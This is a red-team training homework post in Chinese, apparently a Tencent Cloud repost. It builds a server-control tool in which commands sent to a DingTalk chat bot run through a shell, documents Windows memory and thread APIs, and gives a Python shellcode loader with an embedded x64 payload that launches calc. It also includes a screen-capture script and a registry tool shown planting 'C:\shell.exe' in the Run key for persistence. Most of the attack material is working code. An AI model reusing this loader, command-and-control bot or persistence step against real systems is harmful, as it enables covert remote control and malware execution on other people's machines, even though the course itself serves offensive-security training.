前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队作业 | 钉钉机器人远控服务器体验

红队作业 | 钉钉机器人远控服务器体验

作者头像
Ms08067安全实验室
发布2022-04-06 21:49:32
1.5K0
发布2022-04-06 21:49:32
举报

文章来源|MS08067 红队培训班 第5期

本文作者:thresh(红队培训班5期学员)

0x01 钉钉机器人远控

钉钉,阿里巴巴出品,专为全球企业组织打造的智能移动办公平台,含PC版,IPad和手机版。远程视频会议,消息已读未读,DING消息任务管理,让沟通更高效;移动办公考勤,签到,审批,钉闪会,钉钉文档,钉钉教育解决方案,让工作学习更简单!

本次作业是使用钉钉机器人来实现远控服务器!

1、登录钉钉开放平台

可以先创建一个企业

选择应用开发,企业内部开发,添加一个机器人

记录生成的密钥

配置好开发管理,服务器出口IP添加VPS的地址,消息接收地址为一个可以接收数据的url,该url为后续在钉钉群中@机器人后,机器人处理接收和处理的接口地址

2、编写测试代码

代码包含:接收信息、发送信息、命令执行、接口认证,这里使用 flask 实现接收一个post请求,并将数据返回,接口调用详细参考钉钉开发管理平台。

代码语言:javascript
复制
# -*- coding: utf-8 -*-
import subprocess
import chardet
from flask import Flask, request
import hmac
import hashlib
import base64
import json
import requests
app = Flask(__name__)
# 消息数字签名计算核对
def check_sig(timestamp):
    # 设置 secret,上面应用信息凭证的值
    app_secret = 'xxx'
    app_secret_enc = app_secret.encode('utf-8')
    string_to_sign = '{}\n{}'.format(timestamp, app_secret)
    string_to_sign_enc = string_to_sign.encode('utf-8')
    hmac_code = hmac.new(app_secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest()
    sign = base64.b64encode(hmac_code).decode('utf-8')
    return sign
# 发送markdown消息
def send_md_msg(userid, title, message, webhook_url):
    data = {
        "msgtype": "markdown",
        "markdown": {
            "title": title,
            "text": message
        },
        '''
        "msgtype": "text",
        "text": {
            "content": message
        },
        '''
        "at": {
            "atUserIds": [
                userid
            ],
        }
    }
    # 利用requests发送post请求
    req = requests.post(webhook_url, json=data)
# 命令执行
def exec_command(command):
    p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    data = p.stdout.read()
    encoding = chardet.detect(data)['encoding']
    out = "".join(data.decode(encoding))
    return out
# 处理自动回复消息
def handle_info(req_data):
    # 解析用户发送消息 通讯webhook_url
    text_info = req_data['text']['content'].strip()
    webhook_url = req_data['sessionWebhook']
    senderid = req_data['senderId']
    # print('***************text_info:', text_info)
    # 处理系统命令
    if 'command' in text_info:
        cmd = str(text_info).split(':')[1]
        title = '执行命令:'+cmd
        text = exec_command(cmd)
        send_md_msg(senderid, title, text, webhook_url)
@app.route("/", methods=["POST"])
def get_data():
    # 第一步验证:是否是post请求
    if request.method == "POST":
        # print(request.headers)
        # 签名验证 获取headers中的Timestamp和Sign
        timestamp = request.headers.get('Timestamp')
        sign = request.headers.get('Sign')
        # 第二步验证:签名是否有效
        if check_sig(timestamp) == sign:
            # 获取、处理数据
            req_data = json.loads(str(request.data, 'utf-8'))
            # print(req_data)
            handle_info(req_data)
            print('验证通过')
        print('验证不通过')
    print('有get请求')
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9000)

3、在开发管理的服务器上启动服务

4、调试

在钉钉开放平台上选择调试

打开钉钉,会有一个TEST版本的群聊,可以在里面进行测试

可以看到,命令执行成功,服务器端请求成功

参考:

钉钉机器人设置:

https://open.dingtalk.com/document/robots/robot-overview

开发者管理:

<a href="https://open-dev.dingtalk.com/" l="" "="">https://open-dev.dingtalk.com/#/

钉钉开放平台

:https://open.dingtalk.com/document/robots/receive-message

钉钉自定义机器人:

Python 调用钉钉机器人

0x02 Windows api 函数使用

Windows API 函数搜索查找:https://docs.microsoft.com/zh-cn/search/

VirtualAlloc

参考链接:

https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc

申请内存分配函数,内存申请成功返回已分配内存的基址,申请失败返回 NULL

C++语法

代码语言:javascript
复制
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,                             // #要分配的内存区域的地址
  [in]           SIZE_T dwSize,                                    // 申请分配内存的大小
  [in]           DWORD  flAllocationType,       // 申请分配内存的类型
  [in]           DWORD  flProtect                                // 申请分配内存的保护
);
//返回值
//函数成功,则返回值为返回已分配的内存基址
//函数失败,则返回值为NULL

RtlMoveMenory

参考链接:

https://docs.microsoft.com/zh-cn/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlmovememory

将源内存块中的内容复制到目的内存块中,无返回值

C++语法

代码语言:javascript
复制
void RtlMoveMemory(
   void*       Destination,        //指向移动目的地址的指针。
   const void* Source,            //指向要复制的内存地址的指针。
   size_t      Length            //指定要复制的字节数。
);
// 返回值:
// 如果函数成功,则返回值为已分配页区域的基址。
// 如果函数失败,则返回值为 NULL。

CreateThread

参考链接:

https://docs.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread

C++语法

代码语言:javascript
复制
HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,  // 线程安全属性
  [in]            SIZE_T                  dwStackSize,           // 置初始栈的大小,以字节为单位
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,      // 指向线程函数的指针
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,           // 向线程函数传递的参数
  [in]            DWORD                   dwCreationFlags,       // 线程创建属性
  [out, optional] LPDWORD                 lpThreadId           // 保存新线程的id
);
// 返回值:
// 如果函数成功,则返回值是新线程的句柄。
// 如果函数失败,则返回值为 NULL。

WaitForSingleObject

参考链接:

https://docs.microsoft.com/zh-cn/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject

检测线程的状态

代码语言:javascript
复制
DWORD WaitForSingleObject(
  [in] HANDLE hHandle,         // #对象句柄。可以指定一系列的对象
  [in] DWORD  dwMilliseconds   // #定时时间间隔
);
// 返回值:
// 如果函数成功,则返回值指示导致函数返回的事件。

VirtualProtect

参考链接:

https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

更改调用进程的虚拟地址空间中已提交页区域的保护。

C++语法

代码语言:javascript
复制
BOOL VirtualProtect(
  [in]  LPVOID lpAddress,          // 要更改其访问保护属性的页面区域的起始页的地址。
  [in]  SIZE_T dwSize,             // 要更改其访问保护属性的区域的大小(以字节为单位)
  [in]  DWORD  flNewProtect,       // 内存保护选项。
  [out] PDWORD lpflOldProtect      // 指向一个变量的指针,该变量接收指定页区域中第一页的上一个访问保护值
);
// 函数成功,返回值为非零;函数执行失败,返回值为0

RtlCopyMemory

参考链接:

https://docs.microsoft.com/zh-cn/windows/win32/devnotes/rtlmovememory

将源内存块的内容复制到目标内存块,并支持重叠的源内存块和目标内存块

C++语法

代码语言:javascript
复制
VOID RtlMoveMemory(
  _Out_       VOID UNALIGNED *Destination,  // 指向要复制字节的目标内存块的指针
  _In_  const VOID UNALIGNED *Source,        // 指向要复制字节的源内存块的指针
  _In_        SIZE_T         Length         // 从原复制到目标中的字节数
);
//无返回值

HeapCreate

参考链接:

https://docs.microsoft.com/zh-cn/windows/win32/api/heapapi/nf-heapapi-heapcreate

创建由调用进程使用的私有堆对象

C++语法

代码语言:javascript
复制
HANDLE HeapCreate(
  [in] DWORD  flOptions,        // 堆的分配选项
  [in] SIZE_T dwInitialSize,    // 堆的初始大小
  [in] SIZE_T dwMaximumSize     // 堆的最大大小
);
//返回值:执行成功,返回值是新创建的堆的句柄;执行失败,返回值为NULL

HeapAlloc

从堆中去分配内存块,分配的内存不可移动

C++ 语法

代码语言:javascript
复制
DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
  [in] HANDLE hHeap,            // 将从中分配内存的堆的句柄。此句柄由 HeapCreate 或 GetProcessHeap 函数返回。
  [in] DWORD  dwFlags,          // 堆分配选项。指定这些值中的任何一个都将覆盖使用 HeapCreate 创建堆时指定的相应值。
  [in] SIZE_T dwBytes           // 分配的字节数
);
//返回值:
//成功:返回值是指向已分配内存块的指针
//失败:未设置堆分配选项为 HEAP_GENERATE_EXCEPTIONS,则返回值为 NULL;否则返回特定的异常

CreateRemoteThread

创建在另一个进程的虚拟地址空间中运行的线程。

C++语法

代码语言:javascript
复制
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,                 // 要在其中创建线程的进程的句柄
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,       // 指向SECURITY_ATTRIBUTES结构的指针,该结构指定新线程的安全描述符并确定子进程是否可以继承返回的句柄。
  [in]  SIZE_T                 dwStackSize,                 //    堆栈的初始大小(以字节为单位)       
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,            // 指向应用程序定义函数类型的指针LPTHREAD_START_ROUTINE由线程执行,并表示远程进程中线程的起始地址。
  [in]  LPVOID                 lpParameter,              // 指向要传递给线程函数的变量的指针。
  [in]  DWORD                  dwCreationFlags,          // 控制线程创建的标志
  [out] LPDWORD                lpThreadId                // 指向接收线程标识符的变量的指针
);
//返回值:
//成功:返回值是新线程的句柄
//失败:返回值为 NULL

Python 实现shellcode 加载器

shellcode加载器中分别调用VirtualAlloc、RtlMoveMemory、CreateThread、WaitForSingleObject函数来实现

代码语言:javascript
复制
import ctypes
def exec_shellcode(shellcode):
    shellcode = bytearray(shellcode)
    # 设置返回类型64位,默认32位。
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    """
    VirtualAlloc函数原型和参数如下:
    LPVOID VirtualAlloc{
    LPVOID lpAddress, #要分配的内存区域的地址
    DWORD dwSize,      #分配的大小
    DWORD flAllocationType, #分配的类型
    DWORD flProtect     #该内存的初始保护属性
    };
    """
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                              ctypes.c_int(len(shellcode)),
                                              ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    # 此函数从指定内存中复制内容至另一内存里
    """
    RtlMoveMemory(Destination,Source,Length);
    Destination :指向移动目的地址的指针。
    Source :指向要复制的内存地址的指针。
    Length :指定要复制的字节数。
    """
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                         buf,
                                         ctypes.c_int(len(shellcode)))
    # 调用CreateThread将在主线程的基础上创建一个新线程
    """
    HANDLE CreateThread(
    LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
    SIZE_T dwStackSize,       #置初始栈的大小,以字节为单位
    LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针
    LPVOID lpParameter,          #向线程函数传递的参数
    DWORD dwCreationFlags,       #线程创建属性
    LPDWORD lpThreadId           #保存新线程的id
    )
    """
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                                 ctypes.c_int(0),
                                                 ctypes.c_uint64(ptr),
                                                 ctypes.c_int(0),
                                                 ctypes.c_int(0),
                                                 ctypes.pointer(ctypes.c_int(0)))
    """
    调用WaitForSingleObject函数用来检测线程的状态
    DWORD WINAPI WaitForSingleObject(
    __in HANDLE hHandle,       #对象句柄。可以指定一系列的对象
    __in DWORD dwMilliseconds  #定时时间间隔
    );
    """
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
def main():
    # windows 64 弹出 计算机的shellcode
    buf = b""
    buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
    buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
    buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
    buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
    buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
    buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
    buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
    buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
    buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
    buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
    buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
    buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
    buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
    buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
    buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    buf += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
    buf += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
    buf += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
    buf += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
    buf += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
    buf += b"\x78\x65\x00"
    shellcode = buf
    exec_shellcode(shellcode)
if __name__ == '__main__':
    main()

Python 实现屏幕截图

调用 win32 模块实现

代码语言:javascript
复制
#-*- coding:utf8 -*-
import win32gui
import win32ui
import win32con
import win32api
# 获取窗口桌面的句柄
hdesktop = win32gui.GetDesktopWindow()
# 获得显示屏的像素尺寸
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# 创建基于内存的设备描述表,用于储存我们捕获到的图片的数据,直到我们保存到文件
mem_dc = img_dc.CreateCompatibleDC()
# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
# 复制屏幕到内存设备描述表中
mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY)
# 将位图保存到文件中
screenshot.SaveBitmapFile(mem_dc, r"C:\Users\thresh\Downloads\1.jpg")
# 释放对象
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

0x03 注册表操作 注册表信息

win+r 输入 regedit 打开注册表编辑器 Windows 注册表有如下5个根键

注册表中值的类型

python 中使用的模块

win32api、win32con

常用函数

代码语言:javascript
复制
# 打开注册表
win32api.RegOpenKey()
win32api.RegOpenKeyEx()
# 关闭注册表
win32api.RegCloseKey()
# 读取注册表的值
win32api.RegQueryValue()
win32api.RegQueryValueEx()
# 设置注册表的值
win32api.RegSetValue()
win32api.RegSetValueEx()
# 添加注册表的项
win32api.RegCreateKey()
win32api.RegCreateKeyEx()
# 删除注册表项
win32api.RegDeleteKey()
win32api.RegDeleteKeyEx()
# 删除值
win32api.RegDeleteValue()
# 枚举子健
win32api.RegEnumKey()

代码实现

1、通过 RegOpenKey 函数打开指定注册表中指定项,返回ERROR_SUCCESS。

2、根据需要调用RegQueryValue()、RegSetValue()、RegCreateKey()、RegDeleteKey()等函数对注册表进行增删查改操作。

Reg_Tools.py

代码语言:javascript
复制
import win32con
from win32api import *
from win32con import *
import argparse
def GetKey(fullname):
    name = str.split(fullname,'\\',1)
    try:
        regkey = None
        if name[0] == 'HKEY_LOCAL_MACHINE':
            regkey = RegOpenKey(HKEY_LOCAL_MACHINE,name[1],0,KEY_ALL_ACCESS)
        elif name[0] == 'HKEY_CURRENT_USER':
            regkey = RegOpenKey(HKEY_CURRENT_USER,name[1],0,KEY_ALL_ACCESS)
        elif name[0] == 'HKEY_CLASSES_ROOT':
            regkey = RegOpenKey(HKEY_CLASSES_ROOT, name[1], 0, KEY_ALL_ACCESS)
        elif name[0] == 'HKEY_CURRENT_CONFIG':
            regkey = RegOpenKey(HKEY_CURRENT_CONFIG, name[1], 0, KEY_ALL_ACCESS)
        elif name[0] == 'HKEY_USERS':
            regkey = RegOpenKey(HKEY_USERS, name[1], 0, KEY_ALL_ACCESS)
        else:
            print('Error,no regkey named',name[0])
        return regkey
    except BaseException as e:
        print('Error!')
        print(e)
def SelectValue(regkey):
    '''
    查询注册表,遍历注册表项
    :param regkey:
    :return:
    '''
    info = RegQueryInfoKey(regkey)
    for i in range(0, info[1]):
        ValueName = RegEnumValue(regkey,i)
        print(str.ljust(ValueName[0], 20), ValueName[1])
    RegCloseKey(regkey)
def AddValue(regkey,key:str,value:str):
    '''
    添加、修改注册表键值,
    添加键值对,
    修改键值对,只需要修改key对应的value即可
    :param key:
    :param value:
    :param path:
    :return:
    '''
    try:
        RegSetValueEx(regkey, key, 0, win32con.REG_SZ, value)
        print("[+] Addvalue successful!")
        RegCloseKey(regkey)
    except Exception as e:
        print(e)
def DeleteValue(regkey,key:str):
    '''
    删除注册表键值对
    :param regkey:
    :param key:
    :return:
    '''
    # 删除注册表的值
    # RegDeleteValue(key, "notepad")
    try:
        RegDeleteValue(regkey, key)
        print("[+] DeleteValue successful!")
    except Exception as e:
        print(e)
def CreateKey(regkey,KeyName:str):
    '''
    添加注册表项,类似于创建文件夹
    :param regkey:
    :param KeyName:
    :return:
    '''
    # RegCreateKey(key,'Python')
    try:
        RegCreateKey(regkey,KeyName)
        RegCloseKey(regkey)
        print("[+] CreateKey successful!")
    except Exception as e:
        print(e)
def DeleteKey(regkey,KeyName:str):
    '''
    添加注册表项
    :param regkey:
    :param KeyName:
    :return:
    '''
    # RegCreateKey(regkey,'Python')
    try:
        RegDeleteKey(regkey,KeyName)
        RegCloseKey(regkey)
        print("[+] DeleteKey successful!")
    except Exception as e:
        print(e)
# 当前用户启动项
# 计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
def main():
    # 创建一个选项处理对象
    parser = argparse.ArgumentParser(description="welcome use RegTool")
    parser.add_argument('--regkey',help='Input RegKeyName',type=str)
    parser.add_argument('--type', help='SelectValue:regkey\n;'
                                       ',AddValue:regkey,key,value\n;'
                                       ',DeleteValue:regkey,key\n;'
                                       ',CreateKey:regkey,KeyName\n;'
                                       ',DeleteKey:regkey,KeyName\n;'
                                       '', type=str)
    parser.add_argument('--key', help='Input RegKey KeyName', type=str)
    parser.add_argument('--value', help='Input RegKey Value', type=str)
    args = parser.parse_args()
    if args.regkey:
        regkey = GetKey(args.regkey)
    if args.type:
        if args.type =='SelectValue':
            SelectValue(regkey=regkey)
        if args.type =='AddValue' and args.key and args.value:
            AddValue(regkey=regkey,key=args.key,value=args.value)
        if args.type =='DeleteValue':
            DeleteValue(regkey,args.key)
        if args.type =='CreateKey' and args.key:
            CreateKey(regkey=regkey,KeyName=args.key)
        if args.type =='DeleteKey' and args.key:
            DeleteKey(regkey=regkey, KeyName=args.key)
if __name__ == '__main__':
    main()

代码基本能使用,在功能使用、兼容性和交互逻辑等方面还需改进。

举例使用:

python3 .\Reg_Tools.py --regkey 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run' --type SelectValue

查找HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run下的启动信息

添加

代码语言:javascript
复制
python3 .\Reg_Tools.py --regkey 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run' --type AddValue --key 'shell' --value 'C:\shell.exe'

再次查看

删除注册表

代码语言:javascript
复制
python3 .\Reg_Tools.py --regkey 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run' --type DeleteValue --key 'shell'

0x04 总结

钉钉机器人的服务端远控:打造了自定义的钉钉机器人,能够实现在钉钉群实现与机器人实现交互。

Windows API:查阅微软文档,熟悉了一些Windwos的API函数,这些函数可以在C++和Python中调用。同时,能够根据API函数分析shellcode加载器的原理。

注册表操作:在Python中调用 Windows 函数实现对注册表的增删查改。

本次作业能够将之前学习的知识和上课的内容融会贯通,收获了许多,同时,也还有需要改进的地方。

本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-03-28,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
集团账号管理
集团账号管理为企业客户提供云上多账号管理能力,您可以便捷的完成多个账号的的统一授权管理、财务管理、资源共享管理以及操作审计等,通过这些功能,能够更好地满足企业的预算、安全性和合规性需求。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com